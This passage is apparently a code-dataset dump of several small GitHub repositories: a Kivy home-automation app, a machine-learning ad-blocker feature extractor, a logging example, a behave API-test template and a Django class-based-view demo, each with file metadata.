screen.add_widget(self.tabspage)\\n self.screenmanager.add_widget(screen)\\n\\n return self.screenmanager\\n\\nif __name__ == \\\"__main__\\\":\\n myapp = MyApp()\\n myapp.run()\\n\"\n },\n {\n \"alpha_fraction\": 0.6793892979621887,\n \"alphanum_fraction\": 0.7412213683128357,\n \"avg_line_length\": 45.78571319580078,\n \"blob_id\": \"55af060866faf61396544ff891ec34d5853596c9\",\n \"content_id\": \"6149bb092b5e433ad0397c093421b07813575471\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1310,\n \"license_type\": \"no_license\",\n \"max_line_length\": 139,\n \"num_lines\": 28,\n \"path\": \"/README.md\",\n \"repo_name\": \"mayankpoddar/TestHomeAutomation\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# TestHomeAutomation\\nHomeAutomation using a Wemos D1 Mini, Servo Motor (180 degree), LED. iOS App using Kivy - Python.\\n\\nHardware Requirements:\\n1. Wemos D1 Mini ESP8266 - https://www.amazon.in/gp/product/B077MDHLRC/\\n2. Servo Motor (180 Degrees) - https://www.amazon.in/gp/product/B00MTFFAE0/\\n\\nWemos D1 Mini Pinout:\\n\\n\\nTools Needed:\\n1. Arduino IDE \\n2. Python >= 3.6\\n3. XCode\\n\\nSetup Instructions:\\n\\n* IDE Setup\\n 1. Download and Install the Arduino IDE from https://www.arduino.cc/en/main/software\\n 2. Open Arduino > Preferences > Additional Board Manager URLs: http://arduino.esp8266.com/stable/package_esp8266com_index.json. Click OK.\\n 3. Open Tools > Board > Boards Manager. Type esp in the search bar, and Install \\\"esp8266 by ESP8266 Community\\\". Click OK.\\n 4. Open Tools > Board. Select Wemos D1 R1.\\n 5. Paste the WemosD1.ino code inside the file. Change the ssid, password and gateway according to your router and save it.\\n 6. Connect the ESP8266 module via USB. Select your USB Port from Tools > Port.\\n 7. Connect a LED to GPIO Pin D5 and G. \\n 7. Upload the Sketch using Sketch > Upload.\\n 8. Open Browser and go to the static ip for the module: http://192.168.0.123/\\n 9. Use the Links to switch On/Off the LED.\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978328,"cells":{"repo_name":{"kind":"string","value":"mmscibor/AdBlocker"},"repo_url":{"kind":"string","value":"https://github.com/mmscibor/AdBlocker"},"snapshot_id":{"kind":"string","value":"9695c57b576b7deb9c9122f8650013846ff8ec82"},"revision_id":{"kind":"string","value":"c0acbe807abda45ee08896e8f55de3cbaae68630"},"directory_id":{"kind":"string","value":"801640298e503453d0682625870868c3e8685718"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T20:13:08.246966","string":"2021-01-10T20:13:08.246966"},"revision_date":{"kind":"timestamp","value":"2014-03-28T20:21:58","string":"2014-03-28T20:21:58"},"committer_date":{"kind":"timestamp","value":"2014-03-28T20:21:58","string":"2014-03-28T20:21:58"},"github_id":{"kind":"number","value":17447583,"string":"17,447,583"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7952662706375122,"alphanum_fraction":0.7952662706375122,"avg_line_length":64,"blob_id":"3b8b635dde7a027ba302c31c42e2aaeb3cbbd0b8","content_id":"f1b38daf0efd472aa765d2451e468f0ee4b4d492","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1690,"license_type":"no_license","max_line_length":280,"num_lines":26,"path":"/README.md","repo_name":"mmscibor/AdBlocker","src_encoding":"UTF-8","text":"Ad Blocker\n==========\n\nThe ad blocker project attempts an alternative approach to blocking advertisements than black / white listing. Instead of \nthat, it takes as an input training data in the form of binary features of the metadata of various elements on a given\nwebpage. In the training data, it is known whether an element is or is not an ad.\n\nThe feature space in the training data, however, it extremely large and much of it is redundant and not helpful.\n\nThe initial portion of this project attempts to cut down the feature space using various methods: a PRT function in MATLAB\neliminates features based on an elimination criterion, however, very good results were also obtained by finding the correlation between the correct classification and that particular binary feature, then selecting those features with the greatest correlations.\n\nThis step was necessary because the training time on the algorithm utilized was initially very high, however the improvements made on the percentage of correctly sorted advertisements was not substantial enough to merit use of all the features.\n\nThe algorithm utilized was the TreeBagger algorithm, provided by the PRT toolikit in MATLAB. \n\nThe benefits of utilizing such an algorithm instead of a black / white list is that it needs to be maintained less, can be improved by expanding the training data (allow a user to mark an ad if it gets through, and that will automatically update the training data for all users). \n\nThe training phase, depending on the processing power of the machine, would last at most a few minutes, however after training is complete, classification is near instant.\n\nAuthors\n-------\n\n - Christian Sherland\n - Michael Scibor\n - Sameer Chauhan\n"},{"alpha_fraction":0.817460298538208,"alphanum_fraction":0.817460298538208,"avg_line_length":17,"blob_id":"142ff79d0d68c0f841d7fcdde254830bfb071b5d","content_id":"d329e76c80e8591bcca1a83b0eda05479fbb790d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":126,"license_type":"no_license","max_line_length":20,"num_lines":7,"path":"/FinalProject/Writeup/makefile","repo_name":"mmscibor/AdBlocker","src_encoding":"UTF-8","text":"mac : adclassify.tex\n\tpdflatex adclassify\n\tbibtex adclassify\n\tpdflatex adclassify\n\tpdflatex adclassify\n\t\n\topen adclassify.pdf\n"},{"alpha_fraction":0.5381062626838684,"alphanum_fraction":0.542725145816803,"avg_line_length":26.62765884399414,"blob_id":"99dd1a680c91038c1b97a92f7b3c2e8191a3ee51","content_id":"afc8e7f9bdcdfef4500a3c86caa72d61a312b64c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2598,"license_type":"no_license","max_line_length":104,"num_lines":94,"path":"/FinalProject/extractFeatures.py","repo_name":"mmscibor/AdBlocker","src_encoding":"UTF-8","text":"# Christian Sherland\n# Sameer Chauhan\n# Michael Scibor\n#\n# getData.py\n# Accepts a web url and gets features on all\n# image anchor tags on the page to classify\n# as ad or not ad\n\nfrom bs4 import BeautifulSoup\nimport urllib2\nimport csv\nimport sys\nimport re\n\nif __name__ == '__main__':\n # Parse webpage specified in arg 1\n url = sys.argv[1]\n\n try:\n content = urllib2.urlopen(url).read()\n except:\n print 'Could not open url'\n exit(-1)\n soup = BeautifulSoup(content)\n\n # for div in divs:\n # if div.find('a'):\n # print(div.find('a').get('href'))\n # if div.find('img'):\n # print(div.find('img').get('height'))\n # print(div.find('img').get('width'))\n # print(div.find('img').get('height'))\n\n\n # .find returns first instance of tag\n # .find_all returns all of them\n # general layout of AD:\n\n # <a href=\"Link\">\n # <img src=\"source\" width=\"W\" height=\"H\" alt=\"ALT\"/>\n # </a>\n # Want to find image tags WITHIN an anchor\n\n # create list of anchors which contain an image\n anchors = [a for a in soup.find_all('a') if a.find('img') ]\n\n adData = []\n\n for a in anchors:\n href, imgH, imgW, alt = 0,0,0,0 # Reset values each time\n if a.find('img'):\n print(\"Found an image\")\n href = a.get('href')\n txt = a.text\n src = a.find('img').get('src') if a.find('img').get('src') else a.find('img').get('imgsrc')\n imgH = a.find('img').get('height')\n imgW = a.find('img').get('width')\n alt = a.find('img').get('alt')\n\n print(href)\n print(txt if txt !=\"\" else \"NOTEXT\")\n print(src)\n print(imgH)\n print(imgW)\n print(alt if alt != \"\" else \"NOALT\")\n\n\n # If value is missing continue (almost always mising)\n if not (href and imgW and imgH and alt):\n print(\"Missing Component\\n\\n\")\n continue\n\n # Calculate aspect ratio to 3 decimal places\n aspect = format(imgH/float(imgW), '.3f')\n\n # Local?\n print href\n\n # Translate data to boolean features\n alt = alt.lower()\n ad = int('ad' in alt)\n\n # Create list of features for page\n linkData = [imgW,imgH, aspect, ad]\n\n # Add element to dataset\n adData.append(linkData)\n \n \n # Write data to csv for classification by MATLAB\n with open('urlData.csv', 'wb') as csvfile:\n writer = csv.writer(csvfile, delimiter=',', quotechar=' ', quoting=csv.QUOTE_MINIMAL)\n writer.writerows(adData)\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7952662706375122,\n \"alphanum_fraction\": 0.7952662706375122,\n \"avg_line_length\": 64,\n \"blob_id\": \"3b8b635dde7a027ba302c31c42e2aaeb3cbbd0b8\",\n \"content_id\": \"f1b38daf0efd472aa765d2451e468f0ee4b4d492\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1690,\n \"license_type\": \"no_license\",\n \"max_line_length\": 280,\n \"num_lines\": 26,\n \"path\": \"/README.md\",\n \"repo_name\": \"mmscibor/AdBlocker\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Ad Blocker\\n==========\\n\\nThe ad blocker project attempts an alternative approach to blocking advertisements than black / white listing. Instead of \\nthat, it takes as an input training data in the form of binary features of the metadata of various elements on a given\\nwebpage. In the training data, it is known whether an element is or is not an ad.\\n\\nThe feature space in the training data, however, it extremely large and much of it is redundant and not helpful.\\n\\nThe initial portion of this project attempts to cut down the feature space using various methods: a PRT function in MATLAB\\neliminates features based on an elimination criterion, however, very good results were also obtained by finding the correlation between the correct classification and that particular binary feature, then selecting those features with the greatest correlations.\\n\\nThis step was necessary because the training time on the algorithm utilized was initially very high, however the improvements made on the percentage of correctly sorted advertisements was not substantial enough to merit use of all the features.\\n\\nThe algorithm utilized was the TreeBagger algorithm, provided by the PRT toolikit in MATLAB. \\n\\nThe benefits of utilizing such an algorithm instead of a black / white list is that it needs to be maintained less, can be improved by expanding the training data (allow a user to mark an ad if it gets through, and that will automatically update the training data for all users). \\n\\nThe training phase, depending on the processing power of the machine, would last at most a few minutes, however after training is complete, classification is near instant.\\n\\nAuthors\\n-------\\n\\n - Christian Sherland\\n - Michael Scibor\\n - Sameer Chauhan\\n\"\n },\n {\n \"alpha_fraction\": 0.817460298538208,\n \"alphanum_fraction\": 0.817460298538208,\n \"avg_line_length\": 17,\n \"blob_id\": \"142ff79d0d68c0f841d7fcdde254830bfb071b5d\",\n \"content_id\": \"d329e76c80e8591bcca1a83b0eda05479fbb790d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 126,\n \"license_type\": \"no_license\",\n \"max_line_length\": 20,\n \"num_lines\": 7,\n \"path\": \"/FinalProject/Writeup/makefile\",\n \"repo_name\": \"mmscibor/AdBlocker\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"mac : adclassify.tex\\n\\tpdflatex adclassify\\n\\tbibtex adclassify\\n\\tpdflatex adclassify\\n\\tpdflatex adclassify\\n\\t\\n\\topen adclassify.pdf\\n\"\n },\n {\n \"alpha_fraction\": 0.5381062626838684,\n \"alphanum_fraction\": 0.542725145816803,\n \"avg_line_length\": 26.62765884399414,\n \"blob_id\": \"99dd1a680c91038c1b97a92f7b3c2e8191a3ee51\",\n \"content_id\": \"afc8e7f9bdcdfef4500a3c86caa72d61a312b64c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2598,\n \"license_type\": \"no_license\",\n \"max_line_length\": 104,\n \"num_lines\": 94,\n \"path\": \"/FinalProject/extractFeatures.py\",\n \"repo_name\": \"mmscibor/AdBlocker\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Christian Sherland\\n# Sameer Chauhan\\n# Michael Scibor\\n#\\n# getData.py\\n# Accepts a web url and gets features on all\\n# image anchor tags on the page to classify\\n# as ad or not ad\\n\\nfrom bs4 import BeautifulSoup\\nimport urllib2\\nimport csv\\nimport sys\\nimport re\\n\\nif __name__ == '__main__':\\n # Parse webpage specified in arg 1\\n url = sys.argv[1]\\n\\n try:\\n content = urllib2.urlopen(url).read()\\n except:\\n print 'Could not open url'\\n exit(-1)\\n soup = BeautifulSoup(content)\\n\\n # for div in divs:\\n # if div.find('a'):\\n # print(div.find('a').get('href'))\\n # if div.find('img'):\\n # print(div.find('img').get('height'))\\n # print(div.find('img').get('width'))\\n # print(div.find('img').get('height'))\\n\\n\\n # .find returns first instance of tag\\n # .find_all returns all of them\\n # general layout of AD:\\n\\n # <a href=\\\"Link\\\">\\n # <img src=\\\"source\\\" width=\\\"W\\\" height=\\\"H\\\" alt=\\\"ALT\\\"/>\\n # </a>\\n # Want to find image tags WITHIN an anchor\\n\\n # create list of anchors which contain an image\\n anchors = [a for a in soup.find_all('a') if a.find('img') ]\\n\\n adData = []\\n\\n for a in anchors:\\n href, imgH, imgW, alt = 0,0,0,0 # Reset values each time\\n if a.find('img'):\\n print(\\\"Found an image\\\")\\n href = a.get('href')\\n txt = a.text\\n src = a.find('img').get('src') if a.find('img').get('src') else a.find('img').get('imgsrc')\\n imgH = a.find('img').get('height')\\n imgW = a.find('img').get('width')\\n alt = a.find('img').get('alt')\\n\\n print(href)\\n print(txt if txt !=\\\"\\\" else \\\"NOTEXT\\\")\\n print(src)\\n print(imgH)\\n print(imgW)\\n print(alt if alt != \\\"\\\" else \\\"NOALT\\\")\\n\\n\\n # If value is missing continue (almost always mising)\\n if not (href and imgW and imgH and alt):\\n print(\\\"Missing Component\\\\n\\\\n\\\")\\n continue\\n\\n # Calculate aspect ratio to 3 decimal places\\n aspect = format(imgH/float(imgW), '.3f')\\n\\n # Local?\\n print href\\n\\n # Translate data to boolean features\\n alt = alt.lower()\\n ad = int('ad' in alt)\\n\\n # Create list of features for page\\n linkData = [imgW,imgH, aspect, ad]\\n\\n # Add element to dataset\\n adData.append(linkData)\\n \\n \\n # Write data to csv for classification by MATLAB\\n with open('urlData.csv', 'wb') as csvfile:\\n writer = csv.writer(csvfile, delimiter=',', quotechar=' ', quoting=csv.QUOTE_MINIMAL)\\n writer.writerows(adData)\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978329,"cells":{"repo_name":{"kind":"string","value":"airmonitor/fastlogging"},"repo_url":{"kind":"string","value":"https://github.com/airmonitor/fastlogging"},"snapshot_id":{"kind":"string","value":"1a599f2a309f291fc411592332f400c0ba9850bf"},"revision_id":{"kind":"string","value":"8e07e6e6edb765767009c0823fbd3599101a99af"},"directory_id":{"kind":"string","value":"f40986e2c16a10534c91764d772cc7075f9e2176"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-05-19T03:20:54.746028","string":"2021-05-19T03:20:54.746028"},"revision_date":{"kind":"timestamp","value":"2019-12-07T06:13:04","string":"2019-12-07T06:13:04"},"committer_date":{"kind":"timestamp","value":"2019-12-07T06:13:04","string":"2019-12-07T06:13:04"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6734693646430969,"alphanum_fraction":0.6734693646430969,"avg_line_length":35.5,"blob_id":"5134a41d7977c0addffd0d868f91444c92a32e85","content_id":"59487c454cf54c65b5b275336ae042a593956760","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":147,"license_type":"permissive","max_line_length":47,"num_lines":4,"path":"/examples/opt_test.py","repo_name":"airmonitor/fastlogging","src_encoding":"UTF-8","text":"\ndef bar():\n logger.debug(\"This is a debug message\")\n logger.info(\"This is an info message\")\n logger.warning(\"This is a warning message\")\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6734693646430969,\n \"alphanum_fraction\": 0.6734693646430969,\n \"avg_line_length\": 35.5,\n \"blob_id\": \"5134a41d7977c0addffd0d868f91444c92a32e85\",\n \"content_id\": \"59487c454cf54c65b5b275336ae042a593956760\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 147,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 4,\n \"path\": \"/examples/opt_test.py\",\n \"repo_name\": \"airmonitor/fastlogging\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\ndef bar():\\n logger.debug(\\\"This is a debug message\\\")\\n logger.info(\\\"This is an info message\\\")\\n logger.warning(\\\"This is a warning message\\\")\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978330,"cells":{"repo_name":{"kind":"string","value":"lcaparros/be-python-cucumber-template"},"repo_url":{"kind":"string","value":"https://github.com/lcaparros/be-python-cucumber-template"},"snapshot_id":{"kind":"string","value":"b09261a70d9c8d5279b8cdf252c8a9d914a5b87b"},"revision_id":{"kind":"string","value":"e89648ede73a004b269c8687936df9ec6d68ae4c"},"directory_id":{"kind":"string","value":"4e058749c5b21daf1523ffa8652937b1f2e1b9aa"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-04-20T09:20:52.341668","string":"2023-04-20T09:20:52.341668"},"revision_date":{"kind":"timestamp","value":"2021-04-20T08:04:06","string":"2021-04-20T08:04:06"},"committer_date":{"kind":"timestamp","value":"2021-04-20T08:04:06","string":"2021-04-20T08:04:06"},"github_id":{"kind":"number","value":359493957,"string":"359,493,957"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6829268336296082,"alphanum_fraction":0.6829268336296082,"avg_line_length":19,"blob_id":"d888cf89054dc1c9c9e432547667998104ed1c76","content_id":"1e774c3b7405e9b1020dbf63d863fa10aaaa6ba8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":123,"license_type":"no_license","max_line_length":39,"num_lines":6,"path":"/features/environment.py","repo_name":"lcaparros/be-python-cucumber-template","src_encoding":"UTF-8","text":"\n\ndef before_all(context):\n print(\"Before all\")\n\n\ndef before_scenario(context, scenario):\n print(\"Before scenario\")\n\n"},{"alpha_fraction":0.6239870190620422,"alphanum_fraction":0.6320907473564148,"avg_line_length":29.09756088256836,"blob_id":"e975cac19617195fe5ff7ebf6fcc441f67d34c62","content_id":"52b4757e2dc85d6100c6913bac703d6ea0169ad6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1234,"license_type":"no_license","max_line_length":75,"num_lines":41,"path":"/features/steps/test.py","repo_name":"lcaparros/be-python-cucumber-template","src_encoding":"UTF-8","text":"from log import get_custom_logger\nimport requests\nimport json\nfrom utils import *\nfrom behave import *\n\nlog = get_custom_logger()\n\n\n@when('A {method} request is sent to {url}')\ndef request_is_sent(context, method, url):\n payload = \"{\\n \\\"key1\\\": 1,\\n \\\"key2\\\": \\\"value2\\\"\\n}\"\n headers = {\n 'Content-Type': \"application/json,text/plain\",\n 'User-Agent': \"PostmanRuntime/7.15.0\",\n 'Accept': \"*/*\",\n 'Cache-Control': \"no-cache\",\n 'Postman-Token': \"e908a437-88ea-4b00-af53-7a9a49033830,ba90e008-0f7f-4576-beb8-b7739c8961f1\",\n 'Host': \"httpbin.org\",\n 'accept-encoding': \"gzip, deflate\",\n 'content-length': \"42\",\n 'Connection': \"keep-alive\",\n 'cache-control': \"no-cache\"\n }\n\n response = requests.request(method, url, data=payload, headers=headers)\n context.response = response\n log.info(pretty_request(response.request))\n\n\n@then('Response code is {code}')\ndef response_code_is(context, code):\n log.info(pretty_response(context.response))\n assert context.response.status_code == int(code)\n\n\n@then('Response message is {message}')\ndef response_message_is(context, message):\n response = context.response.json()\n log.info(\"Message is: \" + response[\"message\"])\n assert response[\"message\"] == message\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6829268336296082,\n \"alphanum_fraction\": 0.6829268336296082,\n \"avg_line_length\": 19,\n \"blob_id\": \"d888cf89054dc1c9c9e432547667998104ed1c76\",\n \"content_id\": \"1e774c3b7405e9b1020dbf63d863fa10aaaa6ba8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 123,\n \"license_type\": \"no_license\",\n \"max_line_length\": 39,\n \"num_lines\": 6,\n \"path\": \"/features/environment.py\",\n \"repo_name\": \"lcaparros/be-python-cucumber-template\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\ndef before_all(context):\\n print(\\\"Before all\\\")\\n\\n\\ndef before_scenario(context, scenario):\\n print(\\\"Before scenario\\\")\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6239870190620422,\n \"alphanum_fraction\": 0.6320907473564148,\n \"avg_line_length\": 29.09756088256836,\n \"blob_id\": \"e975cac19617195fe5ff7ebf6fcc441f67d34c62\",\n \"content_id\": \"52b4757e2dc85d6100c6913bac703d6ea0169ad6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1234,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 41,\n \"path\": \"/features/steps/test.py\",\n \"repo_name\": \"lcaparros/be-python-cucumber-template\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from log import get_custom_logger\\nimport requests\\nimport json\\nfrom utils import *\\nfrom behave import *\\n\\nlog = get_custom_logger()\\n\\n\\n@when('A {method} request is sent to {url}')\\ndef request_is_sent(context, method, url):\\n payload = \\\"{\\\\n \\\\\\\"key1\\\\\\\": 1,\\\\n \\\\\\\"key2\\\\\\\": \\\\\\\"value2\\\\\\\"\\\\n}\\\"\\n headers = {\\n 'Content-Type': \\\"application/json,text/plain\\\",\\n 'User-Agent': \\\"PostmanRuntime/7.15.0\\\",\\n 'Accept': \\\"*/*\\\",\\n 'Cache-Control': \\\"no-cache\\\",\\n 'Postman-Token': \\\"e908a437-88ea-4b00-af53-7a9a49033830,ba90e008-0f7f-4576-beb8-b7739c8961f1\\\",\\n 'Host': \\\"httpbin.org\\\",\\n 'accept-encoding': \\\"gzip, deflate\\\",\\n 'content-length': \\\"42\\\",\\n 'Connection': \\\"keep-alive\\\",\\n 'cache-control': \\\"no-cache\\\"\\n }\\n\\n response = requests.request(method, url, data=payload, headers=headers)\\n context.response = response\\n log.info(pretty_request(response.request))\\n\\n\\n@then('Response code is {code}')\\ndef response_code_is(context, code):\\n log.info(pretty_response(context.response))\\n assert context.response.status_code == int(code)\\n\\n\\n@then('Response message is {message}')\\ndef response_message_is(context, message):\\n response = context.response.json()\\n log.info(\\\"Message is: \\\" + response[\\\"message\\\"])\\n assert response[\\\"message\\\"] == message\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978331,"cells":{"repo_name":{"kind":"string","value":"endjack/cbv"},"repo_url":{"kind":"string","value":"https://github.com/endjack/cbv"},"snapshot_id":{"kind":"string","value":"f2159302e896cc0f7c2aa64f6d302e3bec5989fd"},"revision_id":{"kind":"string","value":"2e42fa2313bf3301d20ae2a530660820d1171dff"},"directory_id":{"kind":"string","value":"bedcf6fc9b742a78c01e44b62d763d1e521570ab"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-05-07T20:57:11.122373","string":"2023-05-07T20:57:11.122373"},"revision_date":{"kind":"timestamp","value":"2021-06-02T00:03:22","string":"2021-06-02T00:03:22"},"committer_date":{"kind":"timestamp","value":"2021-06-02T00:03:22","string":"2021-06-02T00:03:22"},"github_id":{"kind":"number","value":372990821,"string":"372,990,821"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6822916865348816,"alphanum_fraction":0.6822916865348816,"avg_line_length":22.875,"blob_id":"2d834d927cdb43c951ae42dfe7810374cc2605c7","content_id":"85dfc33db0a67d620da721a1af6e3aeeba0ccd31","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":192,"license_type":"no_license","max_line_length":48,"num_lines":8,"path":"/core/urls.py","repo_name":"endjack/cbv","src_encoding":"UTF-8","text":"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom cbv.views import *\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', IndexView.as_view(), name=\"index\"),\n]\n"},{"alpha_fraction":0.7552083134651184,"alphanum_fraction":0.7708333134651184,"avg_line_length":18.299999237060547,"blob_id":"bd6a82b752d39f80d361c9adad69687165c17ae4","content_id":"f6b4bf9890068ef19d3d606e953d7e001cf2ed72","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":192,"license_type":"no_license","max_line_length":43,"num_lines":10,"path":"/cbv/models.py","repo_name":"endjack/cbv","src_encoding":"UTF-8","text":"from django.db import models\nfrom django.contrib import admin\n\n# Create your models here.\n\nclass Pessoa(models.Model):\n nome = models.CharField(max_length=200)\n\n\nadmin.site.register(Pessoa)"},{"alpha_fraction":0.720893144607544,"alphanum_fraction":0.720893144607544,"avg_line_length":30.149999618530273,"blob_id":"384035c583e87b3ea803c0e697a1e1249b8f402b","content_id":"104a9da9b429063c296cf1ccd902ac837f9e6fde","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":627,"license_type":"no_license","max_line_length":57,"num_lines":20,"path":"/cbv/views.py","repo_name":"endjack/cbv","src_encoding":"UTF-8","text":"from cbv.forms import PessoaForm\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView, View\nfrom django.urls import reverse_lazy\nfrom django.views.generic.edit import CreateView\nfrom .models import *\n\n# Create your views here.\n\n# CRIANDO E LISTANDO NA MESMA TEMPLATE\nclass IndexView(CreateView):\n template_name = 'index.html'\n model = Pessoa\n form_class = PessoaForm\n success_url = reverse_lazy('index')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"objects_pessoas\"] = Pessoa.objects.all()\n return context\n "},{"alpha_fraction":0.6740331649780273,"alphanum_fraction":0.6740331649780273,"avg_line_length":21.625,"blob_id":"c1baee5ffc4204045b9470c5718ce32131dcceff","content_id":"4b593629103cf92847af1f01dc7646481d72048e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":181,"license_type":"no_license","max_line_length":34,"num_lines":8,"path":"/cbv/forms.py","repo_name":"endjack/cbv","src_encoding":"UTF-8","text":"from django import forms\nfrom django.forms import fields\nfrom .models import *\n\nclass PessoaForm(forms.ModelForm):\n class Meta:\n model = Pessoa\n fields = '__all__'\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6822916865348816,\n \"alphanum_fraction\": 0.6822916865348816,\n \"avg_line_length\": 22.875,\n \"blob_id\": \"2d834d927cdb43c951ae42dfe7810374cc2605c7\",\n \"content_id\": \"85dfc33db0a67d620da721a1af6e3aeeba0ccd31\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 192,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 8,\n \"path\": \"/core/urls.py\",\n \"repo_name\": \"endjack/cbv\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\nfrom django.contrib import admin\\nfrom django.urls import path\\nfrom cbv.views import *\\n\\nurlpatterns = [\\n path('admin/', admin.site.urls),\\n path('', IndexView.as_view(), name=\\\"index\\\"),\\n]\\n\"\n },\n {\n \"alpha_fraction\": 0.7552083134651184,\n \"alphanum_fraction\": 0.7708333134651184,\n \"avg_line_length\": 18.299999237060547,\n \"blob_id\": \"bd6a82b752d39f80d361c9adad69687165c17ae4\",\n \"content_id\": \"f6b4bf9890068ef19d3d606e953d7e001cf2ed72\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 192,\n \"license_type\": \"no_license\",\n \"max_line_length\": 43,\n \"num_lines\": 10,\n \"path\": \"/cbv/models.py\",\n \"repo_name\": \"endjack/cbv\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.db import models\\nfrom django.contrib import admin\\n\\n# Create your models here.\\n\\nclass Pessoa(models.Model):\\n nome = models.CharField(max_length=200)\\n\\n\\nadmin.site.register(Pessoa)\"\n },\n {\n \"alpha_fraction\": 0.720893144607544,\n \"alphanum_fraction\": 0.720893144607544,\n \"avg_line_length\": 30.149999618530273,\n \"blob_id\": \"384035c583e87b3ea803c0e697a1e1249b8f402b\",\n \"content_id\": \"104a9da9b429063c296cf1ccd902ac837f9e6fde\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 627,\n \"license_type\": \"no_license\",\n \"max_line_length\": 57,\n \"num_lines\": 20,\n \"path\": \"/cbv/views.py\",\n \"repo_name\": \"endjack/cbv\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from cbv.forms import PessoaForm\\nfrom django.shortcuts import render\\nfrom django.views.generic import TemplateView, View\\nfrom django.urls import reverse_lazy\\nfrom django.views.generic.edit import CreateView\\nfrom .models import *\\n\\n# Create your views here.\\n\\n# CRIANDO E LISTANDO NA MESMA TEMPLATE\\nclass IndexView(CreateView):\\n template_name = 'index.html'\\n model = Pessoa\\n form_class = 